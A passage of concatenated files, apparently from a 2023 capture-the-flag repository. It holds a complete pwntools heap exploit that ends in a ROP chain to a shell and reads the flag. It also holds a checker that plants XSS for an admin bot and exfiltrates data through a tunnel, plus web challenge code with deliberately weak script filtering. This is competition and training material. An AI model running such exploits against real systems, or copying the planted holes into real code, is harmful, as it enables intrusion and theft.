        ignore substitute @all @flag_chars';
        substitute f' by {0};
    } goodentry;

    lookup badentry {
        ignore substitute [@all equal] @flag_chars';
        substitute @flag_chars' by equal;
    } badentry;
""".replace("{0}", nam(ROOT))

# use bfs to hide the flag path
flag_chain += [WIN]

queue = [ROOT]
while queue:
    u = queue.pop()
    edges = list([] for _ in range(3)) # one for each len
    chars = [""]

    for v in AL[u]:
        if v in flag_chain:
            chars.append(char[v])

    # reorder chars to avoid a shorter lookup to be applied over a longer one
    # btw new generated chars could make an existing path unreachable but as long as the flag path is reachable it's fine
    for v in AL[u]:
        if char[v] == "":
            while char[v] in chars: # avoid duplicates
                num_chars = random.choice([1,1,1,1,1,1,2,2,2,3])
                char[v] = "".join(random.choices(list(to_name.keys()), k=num_chars))
            chars.append(char[v])

        edges[len(char[v])-1].append(v)

    # now add the lookups
    edges = edges[2] + edges[1] + edges[0]

    for v in edges:
        source += f"""
    lookup edge{v} {{
        sub {nam(parent[v])} {" ".join([to_name[c] for c in char[v]])} by {nam(v)};
    }} edge{v};
    """
        queue.append(v)

source += """
    # in the end, if nothing matches, remove the char added
    lookup losing_default {
        sub @flag_chars by NULL;
    } losing_default;
} rlig;
"""

with open("autofeat.fea", "w") as f:
    f.write(source)
LIGAbue/src/tree_fea.py
TeamItaly/TeamItalyCTF-2023
#!/usr/bin/env python3

from pwn import *

exe = ELF(os.path.join(os.path.dirname(__file__), "log_patched"))
libc = ELF(os.path.join(os.path.dirname(__file__), "libc.so.6"))
context.binary = exe
#context.terminal = ["tmux", "neww", "-n", "shell"]

#host, port = "127.0.0.1", 9001
host = os.environ.get("HOST", "log.challs.teamitaly.eu")
port = int(os.environ.get("PORT", 29006))
user = "hacker"

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.LOCAL:
        return process([exe.path] + argv, *a, **kw)
    elif args.SSH:
        return ssh(user, host)
    else:
        return remote(host, port)

gdbscript = '''
dprint *((void *)(&add_request)+0xa4),"malloc(%d): ",$rdi
dprint *((void *)(&add_request)+0xa9),"%p\\n",$rax
dprint *((void *)(&remove_request)+0x7b),"free(%p)\\n",$rdi
continue
'''.format(**locals())

ru  = lambda *x, **y: io.recvuntil(*x, **y)
rl  = lambda *x, **y: io.recvline(*x, **y)
rc  = lambda *x, **y: io.recv(*x, **y)
sla = lambda *x, **y: io.sendlineafter(*x, **y)
sa  = lambda *x, **y: io.sendafter(*x, **y)
sl  = lambda *x, **y: io.sendline(*x, **y)
sn  = lambda *x, **y: io.send(*x, **y)


def add_request(sz, data):
    message = p32(0) + p32(sz) + data
    sa(b"> ", message)

def show(idx):
    message = p32(1) + p32(idx)
    sa(b"> ", message)
    rc(4)
    sz = u32(rc(4))
    return rc(sz)

def remove(idx):
    message = p32(2) + p32(idx)
    sa(b"> ", message)

def save_log():
    message = p32(3)
    sa(b"> ", message)

def q():
    message = p32(5)
    sa(b"> ", message)
"""
long decrypt(long cipher)
{
	puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
	puts("because of the 12bit sliding.");
	puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
	long key = 0;
	long plain;

	for(int i=1; i<6; i++) {
		int bits = 64-12*i;
		if(bits < 0) bits = 0;
		plain = ((cipher ^ key) >> bits) << bits;
		key = plain >> 12;
		printf("round %d:\n", i);
		printf("key:    %#016lx\n", key);
		printf("plain:  %#016lx\n", plain);
		printf("cipher: %#016lx\n\n", cipher);
	}
	return plain;
}
"""
def decrypt(cipher):
    key =0

    for i in range(1, 7):
        bits = 64-12*i
        if(bits<0):
            bits=0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12
    return plain

# -- Exploit goes here --
io = start()

add_request(0x80, b"a"*0x80)
add_request(0x80, b"a"*0x80)
remove(0)
remove(0)
heap = decrypt(u64(show(0)[:8])) - 0x2a0
#print(hex(heap))
for i in range(12):
    add_request(0x100, b"a"*0x100)


for i in range(7):
    remove(5)

remove(13)
lib = u64(show(13)[:8])-0x219ce0
libc.address = lib
#print(hex(lib))

remove(5)
add_request(0x100, b"a"*0x100)
remove(13)

k = (heap + 0x11b0)>>12
chunks = heap + 0x1560-0x90
big_chunk = heap + 0x10f0
victim_chunk = heap + 0x11b0
payload = cyclic(0xb0) + p64(0) + p64(0x111)
payload += p64((chunks)^k)# fwd
payload += b"A"*(0x1c0-len(payload))
add_request(0x1c0, payload)
#print(hex(big_chunk))

add_request(0x100, b"a"*0x100)

payload = b"\x00"*0x88
payload += p64(0xa1) # top_size
payload += p64(libc.sym["environ"])
payload += p64(big_chunk)
payload += p64(big_chunk)
payload += p64(victim_chunk)
payload += b"A"*(0x100-len(payload))
add_request(0x200, b"a"*0x200)
add_request(0x100, payload)
add_request(0x200, b"a"*0x200)
add_request(0x200, b"a"*0x200)

stack = u64(show(0)[:8])
#print(hex(stack))

remove(3)
remove(2)

rbp = stack-0x148
payload = cyclic(0xb0) + p64(0) + p64(0x111)
payload += p64((rbp)^k)# fwd
payload += b"A"*(0x1c0-len(payload))
add_request(0x1c0, payload)
add_request(0x100, b"a"*0x100)
rop = ROP(libc)
chain = p64(rop.ret.address) + p64(rop.rdi.address) + p64(next(libc.search(b"/bin/sh"))) + p64(libc.sym["system"])
chain += b"a"*(0x100-8-len(chain))
add_request(0x100, b"a"*8+chain)

sl(b"cat flag")
rc()
print(rc().decode())
io.close()


LogService/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
import os
import random
import string
import urllib.parse
from time import sleep

import requests
import socketio
import tunnel
from bs4 import BeautifulSoup

CHECKER_TOKEN = "77dbca0385e54dcbbf6a746bad9f2af4f0c1445f7325476b82737d1b7c939143"

CHAT_URL = os.environ.get("URL", "http://chat.msn.challs.teamitaly.eu")
if CHAT_URL.endswith("/"):
    CHAT_URL = CHAT_URL[:-1]

SPACES_URL = CHAT_URL.replace('chat.msn.', 'spaces.msn.')


def randstr(length):
    return ''.join(random.choice(string.ascii_uppercase) for _ in range(length))


def getArticleRef(url):
    parts = url.strip("/").split("/")
    return f"{parts[-2]}/{parts[-1]}"


s = requests.Session()

s.post(f"{CHAT_URL}/api/v1/users", json={
    "username": randstr(16),
    "password": randstr(16),
    "propic": "tofu.png"
})

MY_ID = s.get(f"{CHAT_URL}/api/v1/session").json()["id"]
ADMIN_ID = s.get(f"{CHAT_URL}/chat/").url.strip("/").split("/")[-1]

# need to open this outside of the sio context
with tunnel.open_http_tunnel() as t:
    sio = socketio.Client(http_session=s)
    sio.connect(CHAT_URL)


    @sio.on("message")
    def continueXploit(data):
        for message in data["messages"]:
            if message["sender"] != ADMIN_ID:
                continue

            welcomeRef = message["content"]
            welcome = s.get(f"{SPACES_URL}/articles/{welcomeRef}")

            bs = BeautifulSoup(welcome.text, features="lxml")
            a_elem = bs.find("a", string="Tofu's article")
            if not a_elem:
                continue

            TOFU_ID = getArticleRef(a_elem["href"]).split("/")[0]

            r = s.post(f"{SPACES_URL}/articles/{MY_ID}", data={
                "title": randstr(8),
                "content": open(os.path.join(os.path.dirname(__file__), "poc.min.html"), "r").read() % (
                    f'http://{t.remote_host}:{t.remote_port}', CHAT_URL, TOFU_ID)
            })
            injectedRef = getArticleRef(r.url)

            sio.emit("message", (1, injectedRef))
            sleep(1)
            sio.emit("nudge", CHECKER_TOKEN)
            sleep(1)

            _, path, _, _ = t.wait_request()
            print(urllib.parse.unquote(path))
            t.send_response(200, {}, b'')

            sio.disconnect()


    sio.emit("join", ADMIN_ID)
    sio.wait()

ModernSicilianNetwork/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
import os
import uuid
from datetime import datetime
from flask import Flask
from utils.models import *

SECRET_KEY = os.getenv("SECRET_KEY")
DOMAIN = os.getenv("DOMAIN")
CHAT_PORT = os.getenv("CHAT_PORT")
SPACES_PORT = os.getenv("SPACES_PORT")
ADMIN_PASSWORD = os.getenv("ADMIN_PASSWORD")

app = Flask(__name__)
app.config["SECRET_KEY"] = SECRET_KEY

app.config["SQLALCHEMY_DATABASE_URI"] = os.getenv("DATABASE_URI")
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
app.config["SESSION_COOKIE_DOMAIN"] = f".{DOMAIN}"

from utils.db import db
db.init_app(app)
with app.app_context():
    db.create_all()
    ### FOLLOWING CODE CREATES DEFAULT USERS, MESSAGES AND ARTICLES FOR THE CHALLENGE
    if not User.query.filter_by(username="Tofu").first():
        
        catId = str(uuid.uuid4())
        cat = User(catId, "Tofu", str(uuid.uuid4()), "tofu.png")
        db.session.add(cat)
        
        adminId = str(uuid.uuid4())
        admin = User(adminId, "Loldemort", ADMIN_PASSWORD, "arancina.jpg")
        db.session.add(admin)

        db.session.commit()
        
        meow = Message(str(uuid.uuid4()), 0, "Meow!", datetime.utcnow(), admin, cat)
        flag = Message(str(uuid.uuid4()), 0, os.getenv("FLAG", "flag{test}"), datetime.utcnow(), cat, admin)
        db.session.add(meow)
        db.session.add(flag)
        
        db.session.commit()
        
        catArticleId = str(uuid.uuid4())
        title = "Meow!"
        content = f"Purr meow!!<br /><br /><img src='//chat.{DOMAIN}:{CHAT_PORT}/static/propic/tofu-knows-what-you-are.jpg' width='300' /><br /><b>I know what you are.</b>"
        catArticle = Article(catArticleId, catId, datetime.utcnow(), title, content)
        db.session.add(catArticle)
        
        adminArticleId = str(uuid.uuid4())
        title = "Hi, my new friend!"
        content = \
f'''Hi! Nice to see you here! Are you from Sicily? If so, are you from the nice or the evil side of the island?
<br /><br />
If you don't know what it means, it all comes down to the <a href="https://www.streaty.com/blog/arancini-or-arancina/">arancina-vs-arancino</a> civil war.
<br />
Being a matter of the utmost importance and seriousness, you should know that I joined the war on the side of the arancina.
<br /><br />
But setting politics aside, let's talk and become friends!
<br />
I love reading and have nothing to read these days. Do you have any interesting articles to recommend?
<br />
I'm constantly arguing with cat Tofu, so I may not answer quickly... please send a nudge if you message me.'''
        adminArticle = Article(adminArticleId, adminId, datetime.utcnow(), title, content)
        db.session.add(adminArticle)
        
        title = "Welcome to MSN!"
        content = \
f'''Our team is extremely happy to welcome you on this exciting new platform!
<br />
Some articles that may be worth reading:
<ul>
    <li><a href="/articles/{catId}/{catArticleId}">Tofu's article</a>, to know more about our values</li>
    <li>My personal <a href="/articles/{adminId}/{adminArticleId}">welcome letter</a> to all new members</li>
</ul>
<b>NEW!</b> We created a revolutionary feature to catch busy users' attention, the Nudge!
<br />
Press the <img src="//chat.{DOMAIN}:{CHAT_PORT}/static/style/assets/chat-window/414.png" alt="Nudge" /> button in chat to try it.
<br />
Note that to prevent abuse, your browser will calculate proof of works in background each time you send a nudge. The calculation will take some seconds.'''
        
        welcomeArticle = Article(str(uuid.uuid4()), adminId, datetime.utcnow(), title, content)
        db.session.add(welcomeArticle)
        db.session.commit()


@app.after_request
def csp(r):
    r.headers["Content-Security-Policy"] = f"default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-eval'; img-src 'self' data:; connect-src 'self' spaces.{DOMAIN}:{SPACES_PORT}"
    return r

from utils.socket import socket
socket.init_app(app)

from routes import api
app.register_blueprint(api.bp)

from routes import client
app.register_blueprint(client.bp)
ModernSicilianNetwork/src/msn-chat/app.py
TeamItaly/TeamItalyCTF-2023
import os
import uuid
from datetime import datetime
from functools import wraps
from flask import Blueprint, Response, request, session
from argon2.exceptions import VerifyMismatchError
from utils.db import db
from utils.models import *
from hashlib import sha256
import logging

API_PATH = "/api/v1"
SPACES_PORT = os.getenv("SPACES_PORT")

bp = Blueprint("api", __name__)

# auth wrapper
def request_auth(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        if "id" not in session:
            return "", 401
        return f(*args, **kwargs)
    return wrapper


# get MSN Spaces port
@bp.get(f"{API_PATH}/spacesPort")
def get_spaces_port():
    return str(SPACES_PORT)


# get own info
@bp.get(f"{API_PATH}/session")
@request_auth
def get_own_info():
    user = User.query.get(session["id"])
    return {
        "id": user.id,
        "username": user.username,
        "propic": f"/static/propic/{user.propic}"
    }


# login
@bp.post(f"{API_PATH}/session")
def login():
    try:
        data = request.get_json()
        username = data["username"].strip()
        password = data["password"].strip()
        ph = PasswordHasher(memory_cost=2048)
        user = User.query.filter_by(username=username).first()
        if user is None:
            return "", 401
        ph.verify(user.password, password)
        session["id"] = user.id
        session["username"] = user.username
        session["propic"] = user.propic
        return "", 201
    except AttributeError as e:
        return "", 400
    except VerifyMismatchError:
        return "", 401
    except Exception as e:
        logging.error(e)
        return "", 500


# register
@bp.post(f"{API_PATH}/users")
def register():
    try:
        data = request.get_json()
        username = data["username"].strip()
        password = data["password"].strip()
        propic = data["propic"].strip()
        if not password or not 4 <= len(password) <= 128 or not 4 <= len(username) <= 32 or \
                any([c not in ALLOWED_LETTERS for c in username]) or propic not in ALLOWED_PROPICS:
            return "", 400
        # abort if username is already used
        if User.query.filter_by(username=username).first():
            return "", 409
        user = User(str(uuid.uuid4()), username, password, propic)
        db.session.add(user)
        db.session.commit()
        # create admin's first message
        admin = User.query.filter_by(username="Loldemort").first()
        welcomeArticleId = Article.query.filter_by(author=admin.id, title="Welcome to MSN!").first().id
        message = Message(
            str(uuid.uuid4()),
            1,
            f"{admin.id}/{welcomeArticleId}",
            datetime.utcnow(),
            user,
            admin
        )
        db.session.add(message)
        db.session.commit()
        session["id"] = user.id
        session["username"] = user.username
        session["propic"] = user.propic # doesn't contain /static/propic
        res = Response(status=201)
        res.headers["Content-Location"] = f"{API_PATH}/session"
        return res
    except AttributeError as e:
        return "", 400
    except Exception as e:
        logging.error(e)
        return "", 500


# get someone's info
@bp.get(f"{API_PATH}/users/<uuid>")
def get_user_info(uuid):
    user = User.query.filter_by(id=uuid).first()
    if not user:
        return "", 404
    return {
        "id": user.id,
        "username": user.username,
        "propic": f"/static/propic/{user.propic}"
    }
    

@bp.route(f"{API_PATH}/search/<otherId>")
@request_auth
def search(otherId):
    query = request.args.get("query", None)
    if not query:
        return "", 400
    target = User.query.get(otherId)
    if not target:
        return "", 404
    asker = User.query.get(session["id"])
    output = []
    messages_received = set(asker.messages).intersection(set(target.sent))
    messages_sent = set(asker.sent).intersection(set(target.messages))
    messages = list(messages_received.union(messages_sent))
    for msg in messages:
        if msg.type == 0 and query in msg.content:
            output.append(msg.id)
    return output, 200 if len(output) != 0 else 404
ModernSicilianNetwork/src/msn-chat/routes/api.py
TeamItaly/TeamItalyCTF-2023
import os
from flask import Blueprint, session, redirect, render_template
from utils.models import *

DOMAIN = os.getenv("DOMAIN")
SPACES_PORT = os.getenv("SPACES_PORT")

bp = Blueprint("client", __name__)

@bp.route("/")
def index():
    return redirect("/login")

@bp.route("/logout")
def logout():
    session.pop("id", None)
    session.pop("username", None)
    session.pop("propic", None)
    return redirect("/")

@bp.route("/login")
def login():
    if "id" in session:
        return redirect("/chat")
    return render_template("login.html", propics=ALLOWED_PROPICS)

@bp.route("/chat/")
@bp.route("/chat/<uuid>")
def client(uuid=None):
    if uuid is None:
        uuid = User.query.filter_by(username="Loldemort").first().id
        return redirect(f"/chat/{uuid}")
    if "id" not in session:
        return redirect("/login")
    return render_template("chat.html", DOMAIN=DOMAIN, SPACES_PORT=SPACES_PORT)
ModernSicilianNetwork/src/msn-chat/routes/client.py
TeamItaly/TeamItalyCTF-2023
__all__ = ["db", "models", "socket", "chatUtils"]
ModernSicilianNetwork/src/msn-chat/utils/__init__.py
TeamItaly/TeamItalyCTF-2023
import os
import uuid
import random
import requests
from datetime import datetime
from flask_socketio import send
from .db import *
from .models import *

def create_message(sender, receiver, msgType, content, room):
    message = Message(
        str(uuid.uuid4()),
        msgType,
        content,
        datetime.utcnow(),
        receiver,
        sender
    )
    db.session.add(message)
    db.session.commit()
    send({"messages": [{
        "id": message.id,
        "type": message.type,
        "sender": message.sender_id,
        "receiver": message.receiver_id,
        "content": message.content,
        "timestamp": message.timestamp.timestamp()
    }]}, to=room)



### ADMIN BOT LOGIC - don't waste your time here
DOMAIN = os.getenv("DOMAIN")
HEADLESS_HOST = os.getenv("HEADLESS_HOST")
HEADLESS_PORT = os.getenv("HEADLESS_PORT")
HEADLESS_AUTH = os.getenv("HEADLESS_AUTH")
CHAT_PORT = os.getenv("CHAT_PORT")
SPACES_PORT = os.getenv("SPACES_PORT")
ADMIN_PASSWORD = os.getenv("ADMIN_PASSWORD")

AUTOMATED_REPLIES = {
    "nothing": [
        "what's up?",
        "yeah?",
        "tell me"
    ],
    "text": [
        "sorry can't answer now, tofu ate my homework",
        "don't you think Tofu is a beautiful cat?",
        "i love Tofu!! he tries to lick my hair sometimes but he's the cutest",
        "have you tried rebooting your computer??",
        "eating an arancina would solve your problems, or maybe most of them",
        "i ain't reading all that, happy for you tho, or sorry that happened"
    ],
    "article": [
        "i love reading blogs! i'll read that soon",
        "seems interesting! gonna read it asap",
        "oh my, is it a new Team Italy CTF writeup?! i'm opening that link rn!!!"
    ]
}

def admin_react_to_message(admin, user, room):
    messages = sorted(list(set(user.sent).intersection(set(admin.messages))), key=lambda d: d.timestamp)

    if len(messages) == 0:
        create_message(admin, user, 0, random.choice(AUTOMATED_REPLIES["nothing"]), room)
        return

    last_user_message = messages[-1]
    if last_user_message.type != 1: # text
        create_message(admin, user, 0, random.choice(AUTOMATED_REPLIES["text"]), room)
    else: # article
        CHAT_PORT_SUFFIX = "" if int(CHAT_PORT) == 80 else f":{CHAT_PORT}"
        SPACES_PORT_SUFFIX = "" if int(SPACES_PORT) == 80 else f":{SPACES_PORT}"
        requests.post(
            f"http://{HEADLESS_HOST}:{HEADLESS_PORT}",
            json = {
                "actions": [
                    {
                        "type": "request",
                        "method": "POST",
                        "url": f"http://chat.{DOMAIN}{CHAT_PORT_SUFFIX}/api/v1/session",
                        "data": '{"username":"Loldemort","password":"%s"}' % ADMIN_PASSWORD,
                        "headers": { "Content-Type": "application/json" },
                        "timeout": 10
                    },
                    {
                        "type": "request",
                        "method": "GET",
                        "url": f"http://spaces.{DOMAIN}{SPACES_PORT_SUFFIX}/articles/{last_user_message.content}",
                        "timeout": 30
                    }
                ]
            },
            headers = {
                "X-Auth": HEADLESS_AUTH
            },
            timeout = 60
        )
        create_message(admin, user, 0, random.choice(AUTOMATED_REPLIES["article"]), room)
ModernSicilianNetwork/src/msn-chat/utils/chatUtils.py
TeamItaly/TeamItalyCTF-2023
from flask_sqlalchemy import SQLAlchemy

db = SQLAlchemy()

# Database optimizations
"""@db.event.listens_for(Engine, "connect")
def set_sqlite_pragma(dbapi_connection, connection_record):
    # Uninteresting sqlite optimizations, copied by BeatBuddy
    cursor = dbapi_connection.cursor()
    cursor.execute("pragma journal_mode = WAL")
    cursor.execute("pragma synchronous = normal")
    cursor.execute("pragma temp_store = memory")
    cursor.execute("pragma mmap_size = 30000000000")
    cursor.close()"""
ModernSicilianNetwork/src/msn-chat/utils/db.py
TeamItaly/TeamItalyCTF-2023
from argon2 import PasswordHasher
from .db import db

ALLOWED_LETTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!$-.@^_~"
PROPIC_BASE = "/static/propic"
ALLOWED_PROPICS = [
    "cannoli.jpg",
    "iris.jpg",
    "pane-e-panelle.jpg",
    "arancina.jpg",
    "tofu.png",
    "tofu-tongue.jpg",
    "tofu-knows-what-you-are.jpg",
    "tofu-blanket.jpg"
]

class User(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    username = db.Column(db.String(32), unique=True)
    password = db.Column(db.String(128))
    propic = db.Column(db.String(32))
    powTarget = db.Column(db.String(64))

    def __init__(self, id, username, password, propic="tofu"):
        ph = PasswordHasher(memory_cost=2048)
        self.id = id
        self.username = username
        self.password = ph.hash(password)
        self.propic = propic
        self.powTarget = ""

    def __repr__(self):
        return f"<User {self.username!r}>"


class Message(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    type = db.Column(db.SmallInteger)
    content = db.Column(db.String(512))
    timestamp = db.Column(db.DateTime())
    receiver_id = db.Column(db.String(36), db.ForeignKey("user.id"), nullable=False)
    receiver = db.relationship("User", backref=db.backref("messages", lazy='dynamic'), primaryjoin="User.id == Message.receiver_id")
    sender_id = db.Column(db.String(36), db.ForeignKey("user.id"), nullable=False)
    sender = db.relationship("User", backref=db.backref("sent", lazy=True), primaryjoin="User.id == Message.sender_id")

    def __init__(self, id, type, content, timestamp, receiver, sender):
        self.id = id
        self.type = type
        self.content = content
        self.timestamp = timestamp
        self.receiver_id = receiver.id
        self.receiver = receiver
        self.sender_id = sender.id
        self.sender = sender

    def __repr__(self):
        return f"<Message {self.content!r}>"


class Article(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    author = db.Column(db.String(36), db.ForeignKey("user.id"), nullable=False)
    timestamp = db.Column(db.DateTime())
    title = db.Column(db.String(128))
    content = db.Column(db.String(2048))

    def __init__(self, id, author, timestamp, title, content):
        self.id = id
        self.author = author
        self.timestamp = timestamp
        self.title = title
        self.content = content

    def __repr__(self):
        return f"<Message {self.title!r}>"
ModernSicilianNetwork/src/msn-chat/utils/models.py
TeamItaly/TeamItalyCTF-2023
import os
from time import sleep
from hashlib import sha256
from flask import session, request
from flask_socketio import (
    emit,
    send,
    rooms,
    SocketIO,
    join_room,
    ConnectionRefusedError
)
from .models import *
from .chatUtils import *

CHECKER_TOKEN = os.getenv("CHECKER_TOKEN")

socket = SocketIO()

@socket.on("connect")
def socket_connection():
    if not 'id' in session:
        raise ConnectionRefusedError("Unauthorized!")
    emit("connect_response", {"data": "Connected!"})


@socket.on("join")
def join_chat_room(receiver):
    if not isinstance(receiver, str):
        raise RuntimeError("Wrong type")
    sender = session["id"]
    room = ':'.join(sorted([sender, receiver]))
    join_room(room)
    sender = User.query.get(sender)
    receiver = User.query.get(receiver)
    messages_received = set(sender.messages).intersection(set(receiver.sent))
    messages_sent = set(sender.sent).intersection(set(receiver.messages))
    messages = list(messages_received.union(messages_sent))
    messages = sorted(messages, key=lambda d: d.timestamp)
    message_list = [{
        "id": message.id,
        "type": message.type,
        "sender": message.sender_id,
        "receiver": message.receiver_id,
        "content": message.content,
        "timestamp": message.timestamp.timestamp()
    } for message in messages]
    send({"messages": message_list}, to=room)
    emit_pow()


# type 0 = text
# type 1 = article
@socket.on("message")
def chat_message(msgType, content):
    if not isinstance(content, str) or not isinstance(msgType, int):
        raise RuntimeError("Wrong type")
    if len(content) > 512:
        return
    
    room = [r for r in rooms() if r != request.sid][0]
    if len(room.split(":")) != 2 or msgType not in [0, 1]:
        raise RuntimeError("Invalid parameters")
    
    receiver = User.query.get([x for x in room.split(":") if x != session["id"]][0])
    sender = User.query.get(session["id"])
    # nobody should be able to log in as them but i'll be careful anyway
    if sender.username in ["Loldemort", "Tofu"]:
        raise RuntimeError("Forbidden accounts")
    
    if msgType == 1:
        # articles sanity check
        if len(content) != 73 or content.count("/") != 1 or content.index("/") != 36 \
                or any([c not in "0123456789abcdef-/" for c in content]):
            return
    
    create_message(sender, receiver, msgType, content, room)


@socket.on("nudge")
def chat_nudge(powX):
    room = [r for r in rooms() if r != request.sid][0]
    sender = User.query.get(session["id"])
    # nobody should be able to log in as them but i'll be careful anyway
    if sender.username in ["Loldemort", "Tofu"]:
        raise RuntimeError("Forbidden accounts")
    emit("nudge", {"sender": sender.id}, to=room)

    # proof of work check
    complexity = 5
    target = sender.powTarget
    if powX != CHECKER_TOKEN and (not target or not sha256(f'{sender.powTarget}{powX}'.encode()).hexdigest()[:complexity] == '0' * complexity):
        return
    emit_pow()

    # let's bring the admin alive, after 3 seconds
    receiver = User.query.get([x for x in room.split(":") if x != session["id"]][0])
    if receiver == User.query.filter_by(username="Loldemort").first():
        sleep(3)
        admin_react_to_message(receiver, sender, room)


def emit_pow():
    user = User.query.get(session["id"])
    user.powTarget = sha256(os.urandom(24)).hexdigest()
    db.session.commit()
    emit("pow", {
        "target": user.powTarget,
        "complexity": 5
    })
ModernSicilianNetwork/src/msn-chat/utils/socket.py
TeamItaly/TeamItalyCTF-2023
import os
import uuid
from datetime import datetime
from time import sleep
from flask import Flask, render_template
from utils.models import *

SECRET_KEY = os.getenv("SECRET_KEY")
DOMAIN = os.getenv("DOMAIN")
CHAT_PORT = os.getenv("CHAT_PORT")

app = Flask(__name__)
app.config["SECRET_KEY"] = SECRET_KEY

app.config["SQLALCHEMY_DATABASE_URI"] = os.getenv("DATABASE_URI")
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
app.config["SESSION_COOKIE_DOMAIN"] = f".{DOMAIN}"

from utils.db import db
db.init_app(app)

@app.after_request
def csp(r):
    r.headers["Content-Security-Policy"] = f"default-src 'self' 'unsafe-inline' chat.{DOMAIN}:{CHAT_PORT}"
    r.headers["Access-Control-Allow-Origin"] = "*"
    return r

from routes import api
app.register_blueprint(api.bp)

from routes import pages
app.register_blueprint(pages.bp)
ModernSicilianNetwork/src/msn-spaces/app.py
TeamItaly/TeamItalyCTF-2023
__all__ = ["api", "pages"]
ModernSicilianNetwork/src/msn-spaces/routes/__init__.py
TeamItaly/TeamItalyCTF-2023
import uuid
import logging
from datetime import datetime
from flask import Blueprint, Response, redirect, request, session
from functools import wraps
from utils.db import db
from utils.models import *

API_PATH = "/api/v1"

bp = Blueprint("api", __name__)

# auth wrapper
def request_auth(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        if "id" not in session:
            return "", 401
        return f(*args, **kwargs)
    return wrapper    

# get someone's articles
@bp.get(f"{API_PATH}/articles/<uuid>")
def list_user_articles(uuid):
    if not User.query.filter_by(id=uuid).first():
        return {}, 404
    json = []
    for article in Article.query.filter_by(author=uuid):
        json.append({
            "id": article.id,
            "title": article.title,
            "content": article.content,
            "timestamp": article.timestamp
        })
    return json

# get an article
@bp.get(f"{API_PATH}/articles/<uuid>/<article>")
def get_article(uuid, article):
    article = Article.query.filter_by(author=uuid, id=article).first()
    if not article:
        return "", 404
    user = User.query.filter_by(id=uuid).first()
    return {
        "author": {
            "username": user.username,
            "propic": f"/static/propic/{user.propic}"
        },
        "title": article.title,
        "content": article.content,
        "timestamp": article.timestamp
    }
ModernSicilianNetwork/src/msn-spaces/routes/api.py
TeamItaly/TeamItalyCTF-2023
import re
import uuid
import timeago
import logging
from datetime import datetime
from flask import Blueprint, request, session, redirect, render_template
from utils.models import *
from utils.auth import *

DOMAIN = os.getenv("DOMAIN")
CHAT_PORT = os.getenv("CHAT_PORT")

bp = Blueprint("pages", __name__)

@bp.route("/")
def index():
    return render_template("welcome.html")

@bp.route("/login")
@request_auth # let's not waste logic lol
def login():
    return redirect("/")

@bp.route("/logout")
def logout():
    session.pop("id", None)
    session.pop("username", None)
    session.pop("propic", None)
    return redirect("/")


@bp.route("/articles/")
@request_auth
def showArticleMaker():
    return render_template("article-editor.html")


@bp.post("/articles/<userId>/")
@request_auth
def createArticle(userId):
    if userId != session["id"]:
        return render_template("error.html", message="You can only write an article for yourself."), 403
    try:
        data = request.form
        title = data["title"]
        content = data["content"]
        if len(title) > 128:
            return render_template("error.html", message="Title must be shorter than 128 characters.")
        if len(content) > 2048:
            return render_template("error.html", message="Article must be shorter than 2048 characters.")
        if Article.query.filter_by(author=userId, title=title).first():
            return render_template("error.html", message="You already used that title."), 409
        # let's filter scripts
        content = re.sub(r"(?s)<\s*(script)[\d\D]*?<\s*/\s*\1\s*>", "", content)
        articleId = str(uuid.uuid4())
        article = Article(articleId, userId, datetime.utcnow(), title, content)
        db.session.add(article)
        db.session.commit()
        return redirect(f"/articles/{userId}/{articleId}")
    except AttributeError as e:
        return render_template("error.html", message="Invalid request"), 400
    except Exception as e:
        logging.error(e)
        return render_template("error.html", message="Server error"), 500


@bp.route("/articles/<userId>/")
def showUserArticles(userId):
    user = User.query.get(userId)
    if not user:
        return render_template("error.html", message="This user doesn't exist."), 404
    articles = Article.query.filter_by(author=user.id)
    return render_template("article-list.html", user=user, articles=articles)


@bp.route("/articles/<userId>/<articleId>/")
def showArticle(userId, articleId):
    user = User.query.get(userId)
    if not user:
        return render_template("error.html", message="This user doesn't exist."), 404
    article = Article.query.filter_by(author=user.id, id=articleId).first()
    if not article:
        return render_template("error.html", message="This article doesn't exist."), 404
    articleTimestamp = timeago.format(article.timestamp, datetime.utcnow())
    return render_template(
        "article-view.html",
        user=user,
        title=article.title,
        text=article.content,
        timestamp=articleTimestamp,
        DOMAIN=DOMAIN,
        CHAT_PORT=CHAT_PORT
    )
ModernSicilianNetwork/src/msn-spaces/routes/pages.py
TeamItaly/TeamItalyCTF-2023
__all__ = ["db", "models", "auth"]
ModernSicilianNetwork/src/msn-spaces/utils/__init__.py
TeamItaly/TeamItalyCTF-2023
import os
from flask import session, redirect
from functools import wraps

DOMAIN = os.getenv("DOMAIN")
CHAT_PORT = os.getenv("CHAT_PORT")

# auth wrapper
def request_auth(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        if "id" not in session:
            return redirect(f"//chat.{DOMAIN}:{CHAT_PORT}/login?spaces")
        return f(*args, **kwargs)
    return wrapper
ModernSicilianNetwork/src/msn-spaces/utils/auth.py
TeamItaly/TeamItalyCTF-2023
from .db import db

class User(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    username = db.Column(db.String(32), unique=True)
    password = db.Column(db.String(128))
    propic = db.Column(db.String(20))
    powTarget = db.Column(db.String(64))

    def __repr__(self):
        return f"<User {self.username!r}>"


class Article(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    author = db.Column(db.String(36), db.ForeignKey("user.id"), nullable=False)
    timestamp = db.Column(db.DateTime())
    title = db.Column(db.String(128))
    content = db.Column(db.String(2048))

    def __init__(self, id, author, timestamp, title, content):
        self.id = id
        self.author = author
        self.timestamp = timestamp
        self.title = title
        self.content = content

    def __repr__(self):
